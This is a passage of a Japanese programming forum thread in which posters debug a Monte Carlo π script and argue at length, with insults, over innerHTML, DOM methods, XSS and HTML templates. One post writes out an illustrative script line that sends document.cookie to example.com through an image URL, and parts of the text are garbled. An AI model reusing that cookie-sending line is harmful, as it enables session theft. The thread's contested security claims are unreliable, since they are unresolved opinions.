80 名前:Name_Not_Found mailto:sage [2014/11/08(土) 19:50:04.53 ID:???.net]
>>77
なんで始まってからすぐグダグダになるんだよw



81 名前:Name_Not_Found [2014/11/08(土) 19:50:31.28 ID:/Hj0O7lg.net]
>>78
うん、ありがとう

82 名前:Name_Not_Found [2014/11/08(土) 19:53:36.68 ID:/Hj0O7lg.net]
なんでこんなこと聞いてたかっていうと
以下のコードで円周率を計算しようと思ったんだけど
ちゃんとした数値が出なくて
どこがおかしいのか添削してくれ

凄い遠回りしてるのは、自覚してるので
出来れば大幅な改変は無しでお願いします



var arr = new Array();
for (m = -50; m < 51; m++) {
for (n = -50; n < 50; n++) {
arr.push([m, n]);
}
arr.push([m, n]);
}

function crd() {
var rdm = arr[Math.floor(Math.random() * 10201)];
return Math.pow(rdm[0], 2) + Math.pow(rdm[1], 2);
}

var j = 0;
for (i = 0; i < 100000; i++) {
if (crd() < 2500) {
j++;
}
      }
      document.write("π≒" + j * 4 / 100000);

83 名前:Name_Not_Found mailto:sage [2014/11/08(土) 19:55:02.99 ID:???.net]
>>79
こっちは>>39>>42に対する回答がぐだぐだだったし、何も変わらん

84 名前:Name_Not_Found mailto:sage [2014/11/08(土) 19:57:36.27 ID:???.net]
> 0.2*6=1.2
> 0.3*6=1.8
> 0.4*6=2.4
> 0.5*6=3.0

ここだけを見ると2が出る確率が低いようだけど、実際は


0.00000 <= x < 0.16666… = 0
0.16666 <= x < 0.33333… = 1
0.33333 <= x < 0.5     = 2
0.5    <= x < 0.66666… = 3

になるから、どれも0.166666…ずつで、
ちょうど同じ数なんだよなね。

85 名前:Name_Not_Found mailto:sage [2014/11/08(土) 20:07:18.90 ID:???.net]
>>42>>46>>52>>67>>70>>71
elm.style.xxx に値をセットした時には setPropertyValue() が呼び出される
www.w3.org/TR/cssom/#dom-cssstyledeclaration-camel-cased-attribute
「Setting the camel-cased attribute attribute must invoke setProperty() ...」

その際に値が自動変換される
www.w3.org/TR/cssom/#serialize-a-css-component-value
実際の定義は細かいけど、例として…
keyword は、小文字に変換される(RED は red になる。決して rgb() や #xxx などには変換されない)
<color> は、rgb(x, x, x) 又は rgba(x, x, x, x) に変換される。値同士は ", "(カンマ・スペース) で区切る
<length> で値が 0 の場合は、0px に変換される

さらに、style属性の文字列が更新される
www.w3.org/TR/cssom/#dom-elementcssinlinestyle-style
「Mutating the declarations must set the style content attribute ...」
その際の文字列の生成方法は、www.w3.org/TR/cssom/#serialize-a-css-declaration-block に記載されている。
概説すると、
[1] それぞれの宣言を「プロパティ名 + ": " + 値 + ";"」の形式にする。
.  その際、ショートハンドプロパティで表せるならそれを用いる
[2] それぞれを " " で結合する


…というわけで、ブラウザが CSSOM に則っているなら、
elm.style.color = "red"; としたら style="color: red;" になるし、>>46 の各々の変換も仕様に沿ったものである。

ただし、CSSOM はまだ Working Draft なので、上記の仕様に沿っていないブラウザも多数あるのが事実。
とは言っても >>42 の場合は自分が動かす分で動作すればいいだけなので、自分の環境で動くものを回答レスから適当に拾えばいい。長文すまん

86 名前:Name_Not_Found mailto:sage [2014/11/08(土) 20:25:18.35 ID:???.net]
>>81
そのコードが何をやってるのかさっぱりわからんけど
(SQUEAKとかいうやつみたいだけど考えるの面倒くさいw)

以下のように数値変えたらそれっぽくなったよ。
何か計算間違ってるんじゃね? 点の取り方とか個数とか枝切の値とか

var arr = new Array();
for (m = 0; m < 1000; m++) {
for (n = 0; n < 1000; n++) {
arr.push([m, n]);
}
arr.push([m, n]);
}

function crd() {
var rdm = arr[Math.floor(Math.random() * 1000000)];
return Math.pow(rdm[0], 2) + Math.pow(rdm[1], 2);
}

var j = 0;
for (i = 0; i < 100000; i++) {
if (crd() < 1000000) {
j++;
}
      }
      console.log("π≒" + j * 4 / 100000);

87 名前:Name_Not_Found mailto:sage [2014/11/08(土) 20:30:25.30 ID:???.net]
>>81
初めから10201個の点の位置を決めている、というのがナンセンス
この時点で π の正確な値は出せない
極端な例で言うと、3x3の9個の点だと、中央の1点しか円の内側にないでしょ?

改善する方法は、点の位置を毎回ランダムに決めること
頑張れば100文字ぐらいでコード書けるよ

88 名前:70 [2014/11/08(土) 20:31:19.43 ID:knhGBN36.net]
>>84
つまり、CSSOM 仕様準拠の実装なら
document.querySelector('span[style^="color: red;"], span[style*="; color: red;"]');
>>42の目的を達成できるわけか
勉強になった、ありがとう

89 名前:Name_Not_Found [2014/11/08(土) 20:35:53.57 ID:/Hj0O7lg.net]
>>85
うーん、点の個数が少ないのかな?

90 名前:Name_Not_Found [2014/11/08(土) 20:37:13.71 ID:/Hj0O7lg.net]
>>86
10201個じゃ少ないってこと?

これだと上手くいく

var arr = new Array();
var j=0;
function f(){
return Math.pow(Math.random(),2);
}
for(i=0;i<10000000;i++){
if(f()+f()<1){
j++;
}
}
document.write("π≒"+j*4/10000000);



91 名前:85 mailto:sage [2014/11/08(土) 20:44:34.93 ID:???.net]
> var arr = new Array();
> for (m = -50; m < 51; m++) {
> for (n = -50; n < 50; n++) {
> arr.push([m, n]);
> }
> arr.push([m, n]);
> }

50と51の違いも気持ち悪いが、ここを変えても変化はなかった。
2番目のarr.pushも気持ち悪いが、arr.length = 10201で
ランダムの最大とも一致するから間違ってないだろう。

> for (i = 0; i < 100000; i++) {
この100000はサンプル数だろう。単純に10倍したら結果も10倍になった。
j * 4 / 100000 の 100000と同じであれば数が多ければなんでも良さそうだ。

で最期に怪しかったのが、
> if (crd() < 2500) {
2500という数字で2500というのは50 * 50 だが
これは51 * 50 = 2550ではないのかね?

と思って変えてみたら、それらしくなったぞw

相変わらず数学的な意味はさっぱりわからんが(笑)
コードの一貫性における違和感のみからバグ取りしてみた。

92 名前:86 mailto:sage [2014/11/08(土) 20:46:12.07 ID:???.net]
>>89
そう、まさにそれ

93 名前:Name_Not_Found [2014/11/08(土) 21:44:59.37 ID:/Hj0O7lg.net]
>>90
確かにその違和感は自分でも感じた
でも理論的には間違っていない・・・はず

円周率を求めると言う課題は89のコードでクリアしたから
あとは何故このコードが上手く動かないかだけ
すっきりしたい

半径50の円を描いていることになるから2500で
間違いないはずなんだけどな
少しそこんとこ突き詰めて考えてみるか

94 名前:Name_Not_Found mailto:sage [2014/11/09(日) 00:14:46.45 ID:???.net]
3.1454ってなるじゃん。ただの誤差だよ

95 名前:Name_Not_Found [2014/11/09(日) 00:41:50.23 ID:BwBDaWrA.net]
<<93
そうだな

こうしたら多

96 名前:ュ良くなったから
多分初期値が少なすぎたんだと思う

レス下さった皆さん有難う御座いました

var arr = new Array();
for (m = -500; m < 501; m++) {
for (n = -500; n < 500; n++) {
arr.push([m, n]);
}
arr.push([m, n]);
}

function crd() {
var rdm = arr[Math.floor(Math.random() * 1002001)];
return Math.pow(rdm[0], 2) + Math.pow(rdm[1], 2);
}

var j = 0;
for (i = 0; i < 100000; i++) {
if (crd() < 250000) {
j++;
}
}
document.write("π≒" + j * 4 / 100000);
[]
[ここ壊れてます]

97 名前:Name_Not_Found mailto:sage [2014/11/09(日) 07:15:53.95 ID:???.net]
>>94
これ、ループでランダムに要素をとる意味が全くないぞ
まずはプログラミングじゃなくて数学の勉強しろ

98 名前:Name_Not_Found [2014/11/09(日) 08:55:16.54 ID:BwBDaWrA.net]
>>95
こういうこと?


var j=0;
function f(){
return Math.pow(Math.random(),2);
}
for(i=0;i<10000000;i++){
if(f()+f()<1){
j++;
}
}
document.write("π≒"+j*4/10000000);

99 名前:Name_Not_Found [2014/11/09(日) 09:10:59.68 ID:BwBDaWrA.net]
総当り法ってことかな

100 名前:Name_Not_Found mailto:sage [2014/11/09(日) 11:32:27.96 ID:???.net]
いまだにinnerHTML使ってる奴見ると吐き気がする



101 名前:Name_Not_Found mailto:sage [2014/11/09(日) 11:46:31.07 ID:???.net]
場合によると思うけどね
jQueryにも使われてるし、仕様に書かれているくらいだし

102 名前:Name_Not_Found mailto:sage [2014/11/09(日) 11:54:41.53 ID:???.net]
意味不明
innerHTMLは普通に使っていいっていう結論が出たはずだが?

103 名前:Name_Not_Found mailto:sage [2014/11/09(日) 12:00:19.93 ID:???.net]
まあこの辺りでさんざん語られたことのコピペかな

+ JavaScript の質問用スレッド vol.117 +
peace.2ch.net/test/read.cgi/hp/1403330196/531-

104 名前:Name_Not_Found mailto:sage [2014/11/09(日) 12:19:35.74 ID:???.net]
>>100
なにいってんのjQueryもメインはremoveChildで消してるんだけど

105 名前:Name_Not_Found mailto:sage [2014/11/09(日) 12:20:03.17 ID:???.net]
だいたいベンチ取ればinnerHTMLが猛烈に遅いのは分かることだろ

106 名前:Name_Not_Found mailto:sage [2014/11/09(日) 12:21:07.15 ID:???.net]
適材適所
原理主義はアホ
っていう結論になったはずだが?

107 名前:Name_Not_Found mailto:sage [2014/11/09(日) 12:22:53.36 ID:???.net]
適材適所ってなんだよ遅くて非効率なものを使う必要はねえんだよ

108 名前:Name_Not_Found [2014/11/09(日) 12:36:22.89 ID:1ma5/uRs.net]
>>103
> だいたいベンチ取ればinnerHTMLが猛烈に遅いのは分かることだろ

速かったよ。

一見文字列を解釈する必要がある分時間がかかるから
不思議に思えるが、JavaScriptがネイティブでないのが原因。

innerHTMLだと、代入した後は
すべてネイティブで処理されるから早いが、

それと同等なことをネイティブでないJavaScriptでやると
1つずつオーバーヘッドが加わる。

あとさすがにブラウザ、HTMLテキストを解釈するのが仕事だけあって
相当チューニングされてる。

109 名前:Name_Not_Found mailto:sage [2014/11/09(日) 12:50:16.73 ID:???.net]
一度に代入できるのに遅いわけないだろw

110 名前:Name_Not_Found mailto:sage [2014/11/09(日) 13:01:20.25 ID:???.net]
>>103
遅くなるのは
innerHTML += string
を繰り返す場合だけだと思うが

これは前に挿入されたHTMLの構文解析を重複して繰り返す
ことに他ならない。遅くなるのは当然でベンチマークとして不公平

純粋な意味で innerHTML が劇的に遅いとされるベンチマーク結果はあるの?



111 名前:Name_Not_Found mailto:sage [2014/11/09(日) 13:12:23.25 ID:???.net]
jsperf.com/innerhtml-vs-removechild

112 名前:Name_Not_Found mailto:sage [2014/11/09(日) 13:13:33.42 ID:???.net]
遅くないって逝ってた奴出てこいよ

113 名前:Name_Not_Found mailto:sage [2014/11/09(日) 13:16:18.20 ID:???.net]
innerHTMLが敬遠されるのは速さじゃなくてXSS問題の方が大きいと思う
>>96がinnerHTMLを使ったコードだったら、>>07は吐き気を覚えるのだろう

114 名前:Name_Not_Found mailto:sage [2014/11/09(日) 13:24:21.07 ID:???.net]
初心者がinnerHTMLが1番って結論を出したらそれがこのスレの総意のように扱うな

115 名前:Name_Not_Found mailto:sage [2014/11/09(日) 13:25:08.17 ID:???.net]
innerHTML推し派はDOM XSSとか知らない

116 名前:Name_Not_Found mailto:sage [2014/11/09(日) 13:27:46.52 ID:???.net]
両者の長所短所を知っている人ならば、どっちか片方だけがいいだなんて言わない

117 名前:Name_Not_Found mailto:sage [2014/11/09(日) 13:30:44.00 ID:???.net]
いいえ、innerHTMLはデメリットしかない

118 名前:Name_Not_Found mailto:sage [2014/11/09(日) 13:40:40.82 ID:???.net]
jsperf.com/innerhtml-and-appendchild
innerHTMLの方が速い

119 名前:Name_Not_Found mailto:sage [2014/11/09(日) 13:47:36.74 ID:???.net]
XSS問題はinnerHTMLが抱える根幹の問題
XSSの発生しない方法があるなら、セキュリティ意識の高い人はinnerHTML以外を選択する
XSSに目をつぶるとしても、textContent, TextNode#data, insertAdjacentHTML に言及されるべきなのだが、既に>101で語り尽くされてる

120 名前:Name_Not_Found mailto:sage [2014/11/09(日) 13:55:02.75 ID:???.net]
>>116
DOM追加でinnerHTML使ったらXSSが発生するよ?



121 名前:Name_Not_Found mailto:sage [2014/11/09(日) 13:59:37.37 ID:???.net]
< と > をエスケープすればいいだけじゃん

122 名前:Name_Not_Found mailto:sage [2014/11/09(日) 14:09:39.57 ID:???.net]
appendChildがわざわざエスケープしてくれるのに手動でやるのか?

123 名前:Name_Not_Found mailto:sage [2014/11/09(日) 14:24:33.49 ID:???.net]
おっと、appendChildがエスケープって語弊があるな

124 名前:Name_Not_Found mailto:sage [2014/11/09(日) 14:44:10.78 ID:???.net]
手動ですればいいじゃん
innerHTMLの大きな問題点はXSSじゃない

125 名前:Name_Not_Found mailto:sage [2014/11/09(日) 15:14:45.06 ID:???.net]
はあ?

126 名前:Name_Not_Found mailto:sage [2014/11/09(日) 18:31:54.69 ID:???.net]
innerHTMLの問題はXSS以外にもあるが、既に>>101で議論されたので改めて議論する事もない

127 名前:Name_Not_Found [2014/11/09(日) 18:33:06.53 ID:DNSyM79S.net]
>>118
> DOM追加でinnerHTML使ったらXSSが発生するよ?

なら、XSSが発生しないように
チェックすればいいだけじゃないの?

128 名前:Name_Not_Found mailto:sage [2014/11/09(日) 18:39:55.90 ID:???.net]
>>125
テキストノード操作すればチェックする必要がない
故にチェックミスも発生しない

129 名前:Name_Not_Found mailto:sage [2014/11/09(日) 18:42:15.67 ID:???.net]
>>125
テキストノード操作すればチェックする必要もない

130 名前:Name_Not_Found mailto:sage [2014/11/09(日) 18:57:48.22 ID:???.net]
innerHTMLはXSSが問題だと言っている人は、innerHTMLを使ってはいけないっていう主張なの?



131 名前:Name_Not_Found mailto:sage [2014/11/09(日) 19:00:47.42 ID:???.net]
遅くてDOMを壊す恐れがあるものを使う必要はない

132 名前:Name_Not_Found mailto:sage [2014/11/09(日) 19:02:03.30 ID:???.net]
ふーんじゃあjQueryも使わないんだね

133 名前:Name_Not_Found mailto:sage [2014/11/09(日) 19:06:20.18 ID:???.net]
jQueryを立てにして逃げんなよ
お前の言葉で反論どうぞチキン

134 名前:Name_Not_Found mailto:sage [2014/11/09(日) 19:09:48.39 ID:???.net]
jQueryは使わないって言えばいいだけなのに、なんで煽るんだろうね

135 名前:Name_Not_Found mailto:sage [2014/11/09(日) 19:17:04.33 ID:???.net]
自分の言葉で考えたことを述べましょう

136 名前:Name_Not_Found mailto:sage [2014/11/09(日) 19:26:48.72 ID:???.net]
例えば elm に <p id="a" class="b" style="color:red;">test<b>test</b>test</p> を入れたいと思ったらどうします?
innerHTML なら一行で済みます。十分大きな利点です
このコードも innerHTML を使わずに書くというのなら、私の負けです。毎日仏壇に掲げて尊敬します

137 名前:Name_Not_Found mailto:sage [2014/11/09(日) 19:27:46.54 ID:???.net]
基本的にjQueryでもinnerHTMLを利用しているAPIは使わない
使わなくて困ったことがない

138 名前:Name_Not_Found mailto:sage [2014/11/09(日) 19:37:06.20 ID:???.net]
>>134
> 例えば elm に <p id="a" class="b" style="color:red;">test<b>test</b>test</p> を入れたいと思ったらどうします?
まず、JavaScriptコード内にコンテンツを埋め込むという設計があり得ないから、そういうコードがあるなら設計から見直す
HTML上に用意されているコンテンツをJavaScriptで改変するのが基本
外部コンテンツを利用する場合は XML, CSV, JSON 等の整形フォーマット化されたデータをJavaScriptで取得して一定規則に則った方法でHTML出力する

139 名前:136 [2014/11/09(日) 19:42:37.16 ID:EDVOS3A9.net]
これらを実装する時には innerHTML は使わない
createTextNode, createElement, appendChild 等のDOM操作を使う

140 名前:134 mailto:sage [2014/11/09(日) 20:07:11.50 ID:???.net]
確かに。言われてみればそうですね
innerHTMLを使うこと自体は問題ないけど、そもそも使う機会がないですし、使うような設計は見直すべきですね
大変失礼しました。今から仏壇に掲げてきます



141 名前:Name_Not_Found mailto:sage [2014/11/09(日) 20:31:50.02 ID:???.net]
>>136
>XML, CSV, JSON 等の整形フォーマット化されたデータを

コード内に埋め込むかどうかは別として
HTML 自体も整形フォーマット化されたデータなので
外部から取得したHTMLデータをinnerHTMLで直接的に放り込むことは
ありだと思うよ

142 名前:136 [2014/11/09(日) 21:50:57.54 ID:EDVOS3A9.net]
>>139
> HTML 自体も整形フォーマット化されたデータなので
ここでいう整形フォーマットとはデータフォーマットを指し、次の効果を期待する
- 他のフォーマットに容易に変換できる
- JavaScriptで解析できる
- DOMとして再構築できる
例えば、2列のCSVフォーマットがあるなら、Excelで編集可能な上にJavaScriptからdl要素、table要素として出力可能だろう
データはシンプルでなければならないし、JavaScriptで出力する時に様々な形式で出力可能な事を期待する

HTMLは論理構造といわれるが、データ構造としては余計な要素が多すぎる
table要素は比較的データ構造として使えるが、2次元データなら CSV, JSON の方が容易に扱えるだろう
DOM操作前提ならXMLの方が拡張性が高い

143 名前:Name_Not_Found mailto:sage [2014/11/09(日) 21:58:09.64 ID:???.net]
HTML Templatesが普及すれば万事解決

144 名前:Name_Not_Found [2014/11/09(日) 22:15:30.68 ID:EDVOS3A9.net]
>>141
テンプレートHTMLは現状、JavaScriptでincludeするのは筋が悪い
もし、そういう意味で innerHTML を使用しているのならサーバサイドに任せるべきだ

145 名前:Name_Not_Found mailto:sage [2014/11/09(日) 22:20:03.00 ID:???.net]
>>142
あ、HTML Templatesっていうのは、HTML5のtemplate要素のことね

146 名前:Name_Not_Found [2014/11/09(日) 22:32:31.81 ID:EDVOS3A9.net]
>>143
なるほど、失礼した
www.html5rocks.com/ja/tutorials/webcomponents/template/
HTMLにコンテンツを持ってくるのは良いとして、この使い方ではHTMLとJavaScriptで依存関係が出来てしまって管理しづらいと思うのだが
そうするぐらいならJavaScript側でtemplateとなる要素ノードを生成して cloneNode で使いまわす方がシンプルで汎用性が高い
ついでにtemplate要素と innerHTML に関連性を見出せないのだが、どういう理屈で何が解決するのだろうか

147 名前:Name_Not_Found mailto:sage [2014/11/09(日) 22:39:27.47 ID:???.net]
すまん俺は141や143でがあるが139ではない

148 名前:Name_Not_Found [2014/11/09(日) 22:51:12.56 ID:DNSyM79S.net]
また意味もなくinnerHTMLはXSSが起きるって
言ってる奴いるのか?

XSSが起きる条件わかってないだろ。
外部から渡された任意のHTMLを処理するときだけだぞ。

ここまで言えば、まずありえない話だって気づくよな?
反論したいなら、具体的に起きる条件を書いて反論してくれよな。

149 名前:Name_Not_Found mailto:sage [2014/11/09(日) 22:54:04.05 ID:???.net]
外部ってなんのこと?

150 名前:Name_Not_Found [2014/11/09(日) 22:56:09.37 ID:DNSyM79S.net]
>>147
どんなデータが来るのかを
知ることが不可能なもののこと

例えばユーザーが入力するデータは
知ることが不可能。



151 名前:Name_Not_Found mailto:sage [2014/11/09(日) 22:57:03.49 ID:???.net]
じゃあ内部は?

152 名前:Name_Not_Found [2014/11/09(日) 23:00:55.60 ID:DNSyM79S.net]
>>149
内部は自分で書いたコード

例えば、自分で、HTMLに
<script>document.write('example.com/?' + document.cookie')</scrpt>
って書いたら、cookieの内容が外部サイトに漏れて危険じゃないですか。

document.writeは危険です!っていう馬鹿はいないだろう?

153 名前:Name_Not_Found [2014/11/09(日) 23:02:24.95 ID:DNSyM79S.net]
訂正

× <script>document.write('example.com/?' + document.cookie')</scrpt>
○ <script>document.write('<img src="example.com/?' + document.cookie' + '">")</scrpt>

154 名前:Name_Not_Found [2014/11/09(日) 23:10:53.11 ID:DNSyM79S.net]
>>144
> HTMLにコンテンツを持ってくるのは良いとして、この使い方ではHTMLとJavaScriptで依存関係が出来てしまって管理しづらいと思うのだが

物による。

処理がJavaScriptだけで完結するようなものは、JavaScriptで生成して良い。
例えば、OKボタンだけのalertや、入力項目があるだけのconfirmの
代わりとなるダイアログライブラリとかね。

でも、任意のHTMLの内容をダイアログにだす。なんてものは
JavaScriptだけでできないので、こういうのはtemplate要素を使った方がいい。
というかそういうことをするためにtemplate要素がある。
「テンプレートの内容が引数になる場合」と考えればいい。

なお、外部から渡されるHTMLではない場合、
XSSは発生しないので、innerHTMLを使うとシンプルで分かりやすくなる。

> そうするぐらいならJavaScript側でtemplateとなる要素ノードを生成して cloneNode で使いまわす方がシンプルで汎用性が
つまり「JavaScript側でtemplateとなる要素ノードを生成」するときにHTMLで
var html = '<table><tr><td>なんとか</td></tr></table>'; みたいに書いて要素ノードを生成すると
わかりやすいだろう? これだけのものがたった一行で書けたしね。

155 名前:Name_Not_Found [2014/11/09(日) 23:20:29.85 ID:DNSyM79S.net]
本質はHTML断片をHTMLに置きたいか
JavaScriptに置きたいかってことなんだよな。

HTMLに置きたいならば、template要素。
JavaScriptに置きたいならば、・・・ヒアドキュメントが欲しい。
工夫次第でヒアドキュメントっぽいことができるのは知ってるけどね。

156 名前:136 [2014/11/09(日) 23:33:25.23 ID:EDVOS3A9.net]
>>152
少なくとも私の運用法ではtemplate要素にメリットは感じなかった
既存のHTML改変ならtemplate要素を使う必要がないし、外部データからDOMを起こすならノード管理するほうが便利
innerHTML を利用したい場面は見つからなかった

> でも、任意のHTMLの内容をダイアログにだす。なんてものは
> JavaScriptだけでできないので、こういうのはtemplate要素を使った方がいい。
「ダイアログ」の定義が不明だが、HTMLで出来ているのならノード操作だけで十分に完結できる
後は元となるデータをどこから引っ張るかによるのだが、いずれにしてもデータを取得してDOMを構築する手法は何も変わらない

157 名前:Name_Not_Found [2014/11/09(日) 23:37:15.63 ID:DNSyM79S.net]
> HTMLで出来ているのならノード操作だけで十分に完結できる

完結できるかどうかではなく、
重要なのはシンプルに完結できるかどうかだ。

その点が見えてないと、コードはムダに複雑になるばかりだぞ。

158 名前:136 [2014/11/09(日) 23:39:29.59 ID:EDVOS3A9.net]
>>153
> 本質はHTML断片をHTMLに置きたいか
> JavaScriptに置きたいかってことなんだよな。
私に言わせれば、そこは本質じゃない
そもそも、HTML断片で管理せず、データで管理する
HTMLはデータとしては余計な情報が多い

159 名前:Name_Not_Found [2014/11/09(日) 23:42:00.54 ID:DNSyM79S.net]
>>156
今話をしているのは、データではない。

"単純にHTMLに変換するデータ" だ

データだけ書いてそれをHTMLに変換するなら
そんな無駄な作業は無くして直接HTMLを生成したほうが
わかりやすい。

反論したいなら、

var html = '<table><tr><td>なんとか</td></tr></table>'
任意の要素.innerHTML = html;

これをシンプルに書いて見せてみ。

160 名前:136 [2014/11/09(日) 23:46:17.30 ID:EDVOS3A9.net]
>>157
>>136の繰り返し
そんな設計にはしない



161 名前:Name_Not_Found [2014/11/09(日) 23:47:25.99 ID:DNSyM79S.net]
>>158
なんで「俺はしない」が反論になると思ってんの?
お前がどうとか関係ねーよ。

innerHTMLをコードで書いたら
シンプルに出来ないだろう?

162 名前:Name_Not_Found [2014/11/09(日) 23:54:59.86 ID:EDVOS3A9.net]
>>159
使う必要がないのだから使わない
やろうとしていることがナンセンスなのだから仕方ないだろう
例えば、「CSSを使わずに段組レイアウトしてみて、tableレイアウトでないと出来ないでしょ?」といっても誰も納得しないだろう

163 名前:Name_Not_Found [2014/11/09(日) 23:59:08.50 ID:DNSyM79S.net]
>>168
たとえが意味不明。

JavaScriptでHTML(要素ノード)を生成するのが前提の話だろ?

> そうするぐらいならJavaScript側でtemplateとなる要素ノードを生成して
ほらそう書いてある。

わざわざグダグダなコード書いてHTMLを生成するなら
最初からHTMLを書いたほうが楽。

164 名前:Name_Not_Found mailto:sage [2014/11/10(月) 00:02:01.29 ID:???.net]
レベルの違う者同士の不毛な言い争い

165 名前:Name_Not_Found [2014/11/10(月) 00:08:07.72 ID:vE07iE/R.net]
仕方ないよ。template要素がなぜ必要とされて
作られたのか?も理解できてないんだから。

俺なんか、ウェブの新しい技術を聞くたびに
あー、やっとそれができたんだねって
思うぐらいなんだから。


出来てから、それが必要とされた理由を理解する者と
必要な理由がわかっていて、出来るのを待ってる者の違いさ。

166 名前:Name_Not_Found mailto:sage [2014/11/10(月) 00:15:22.25 ID:???.net]
>>159
シンプルに書けるかどうかはパフォーマンスとは全く関係ないよね

167 名前:136 [2014/11/10(月) 00:16:26.51 ID:9HdTHaj2.net]
よくある間違いとしてはJavaScriptで何でもかんでも要素を生成して出力するやり方
まず、JavaScriptがなくても動作するようにするのが前提としてあるので、JavaScriptで後付する機能の為のコンテンツはHTMLに用意してある場合がほとんど
その場合は既存DOMから必要なデータを抽出してDOMを再構築するだけでいい
あくまで再構築なので innerHTML で上書きせず、ノード管理で変更箇所は最小限に抑える

データがHTML上に存在しないなら外部データを利用することになる
例えば、二次元データをtable出力したい場合はCSVファイルをJavaScriptでパースし、table要素ノードを生成してappendChildする
こうすることでCSVファイルを編集すれば出力されるtable要素にも反映されるようになる
JavaScriptのコードを書き換えれば、table要素でなく、別の要素にする事も出来るし、出力する形式は自由に変更できる
<table> を innerHTML で出力しても実現できるが、csvファイルを基にした方がデータを容易に編集可能だし、csvファイルはシンプルなフォーマットなので別のフォーマットにも容易に変換できる

CSVのパースが複雑だとか、DOMでcreateElementが面倒くさい、とかは大した問題じゃない
データは可搬性が高い方が良いし、データからDOMへの変換処理は安全性/汎用性が高い方が良い
汎用性が高ければ高い程、出力されるDOMの自由度が上がる
保守性、管理性、拡張性もろもろを考えるとHTML断片を扱うよりシンプルなデータから扱ったほうが合理的

>>162
忠告ありがとう
この辺にしておく

168 名前:Name_Not_Found [2014/11/10(月) 00:24:04.20 ID:vE07iE/R.net]
>>164
> シンプルに書けるかどうかはパフォーマンスとは全く関係ないよね

innerHTMLだと、シンプルかつパフォーマンスがいいからね。
確かにシンプルとパフォーマンスは全く関係ないけど

169 名前:Name_Not_Found [2014/11/10(月) 00:25:02.54 ID:vE07iE/R.net]
>>165
えっと、JavaScript製のテンプレートエンジンの
存在意義もわからない?

そっかぁ。その程度のレベルなんだね。

170 名前:Name_Not_Found mailto:sage [2014/11/10(月) 00:28:40.75 ID:???.net]
下らない煽りが多くてうんざり
IDが出ているだけマシか



171 名前:Name_Not_Found [2014/11/10(月) 00:32:39.34 ID:vE07iE/R.net]
ID出しておくと便利で、うざいやつからの反論が無くなるんだよね。

だからワンサイドゲームになるw

172 名前:Name_Not_Found mailto:sage [2014/11/10(月) 00:36:20.86 ID:???.net]
彼は自己愛性パーソナリティ障害に該当するように見えた
内向的な人は大なり小なりその傾向があるが、流石に酷いな

173 名前:Name_Not_Found mailto:sage [2014/11/10(月) 00:40:20.15 ID:???.net]
× 反論が無くなる
○ 呆れて無視される

174 名前:Name_Not_Found mailto:sage [2014/11/10(月) 00:52:01.97 ID:???.net]
>>166
逆、innerHTMLのパフォーマンスはよくない

175 名前:Name_Not_Found [2014/11/10(月) 00:58:02.62 ID:vE07iE/R.net]
>>171
無視でもなんでもいいわw

言い返さないのなら結構。
それが他の人にどう見えるかが重要なのだから。

176 名前:Name_Not_Found [2014/11/10(月) 01:01:07.36 ID:vE07iE/R.net]
>>172
じゃあ、パフォーマンスについてはそれでいいよ。

それで本題。シンプルかどうかで言えば、
シンプルだろ?

177 名前:Name_Not_Found mailto:sage [2014/11/10(月) 01:02:23.81 ID:???.net]
議論スレではないのだが…
どのスクリプトエンジンのどのリリースのことなのやら

178 名前:Name_Not_Found mailto:sage [2014/11/10(月) 01:23:24.12 ID:???.net]
> それが他の人にどう見えるかが重要なのだから。
最後まで残った人が正しいように見える、と思ってるんだろうな
ID:vE07iE/R を読み返してもそう思えるなら重症

179 名前:Name_Not_Found [2014/11/10(月) 01:24:16.93 ID:vE07iE/R.net]
>>176
誰もあんたの意見なんて聞いてないんだよ。

180 名前:Name_Not_Found mailto:sage [2014/11/10(月) 01:25:11.56 ID:???.net]
大丈夫
誰も ID:vE07iE/R の意見を聞いてないから、気にするな



181 名前:Name_Not_Found [2014/11/10(月) 01:26:52.27 ID:vE07iE/R.net]
気にしてるからレスしてんだろw
嫌ならなんで無視できないのか?

もちろん気にしているならレスしても
構わないがねw

182 名前:Name_Not_Found [2014/11/10(月) 01:36:14.97 ID:vE07iE/R.net]
>>165
template要素を使うよくある例がAjaxだね。

Ajaxを使ってデータだけ取ってくる。
そのデータを元にHTMLを生成する。

当然ながらAjaxを使う以上、JavaScriptを使うことになる。
それを加工して表示する。

例えばテーブルのHTMLの一部を加工するなど。
そういった時、JavaScriptは加工するということは知っていても
どのようなマークアップにするかはHTMLしだい。

テーブルの ”一部" ということから推測できるように
その他の部分はHTMLで書かれており、それはJavaScriptはしらない。
どういったマークアップにするかはHTMLできめることなので、
HTMLにテンプレートとして用意しておき、JavaScriptでは
その一部だけ値を入れ込む。

これにより、HTMLとJavaScriptが綺麗に分離される。

183 名前:Name_Not_Found [2014/11/10(月) 01:43:36.62 ID:vE07iE/R.net]
CSVデータからテーブルを生成する話も同じ。

<table>
 <tr><td>name1</td><td>value1</td></tr>
 <tr><td>name2</td><td>value2</td></tr>
 <tr><td>name3</td><td>value3</td></tr>
</table>

こういうものをDOM命令で作るのは馬鹿らしい。
createElementでtableを作ってtrを作ってtdを作ってappendして。
何をやってるのかさっぱりわからなくなる。

更にtableやtrやtdに属性を付けられるようにしたいとかなると、
テーブルを生成する命令に、いろんなパラメータを渡さなくければいけなくなる。
デザイナーが「このtableにとあるclassを付けたいんですけど」って言ったら
JavaScriptを修正しなくてはいけなくなる。

HTMLとJavaScriptが密接に結合してしまってるからね。

こういう時はテンプレートを使って、デザイナーが作成したHTMLの断片に
JavaScriptはプレースホルダに値を埋めるだけにするとシンプルに書くことが出来る。
もちろんHTMLだから自由にclassを設定したり出来る。

184 名前:Name_Not_Found [2014/11/10(月) 01:45:42.59 ID:vE07iE/R.net]
>>165
> JavaScriptのコードを書き換えれば、table要素でなく、別の要素にする事も出来るし、

なんて言ってるけど、よく見ればわかるよね。
JavaScriptのコードを書き換える必要があるって書いてある。


テンプレートを使うと、JavaScriptとHTMLは完全に分離されているから、
JavaScriptを一切変更しなくても、table要素ではなく、別の要素にすることも出来る。

HTML、つまりマークアップを書く人が、自分の好み通りの
マークアップを書くことが出来る。これが分離というもの。

185 名前:Name_Not_Found mailto:sage [2014/11/10(月) 01:54:07.33 ID:???.net]
>>181
> createElementでtableを作ってtrを作ってtdを作ってappendして。
> 何をやってるのかさっぱりわからなくなる。
この程度でわからなくなるレベルか

186 名前:Name_Not_Found mailto:sage [2014/11/10(月) 01:59:00.69 ID:???.net]
innetHTMLの話はどこへいった?
都合が悪くなってtemplate要素に鞍替えか?

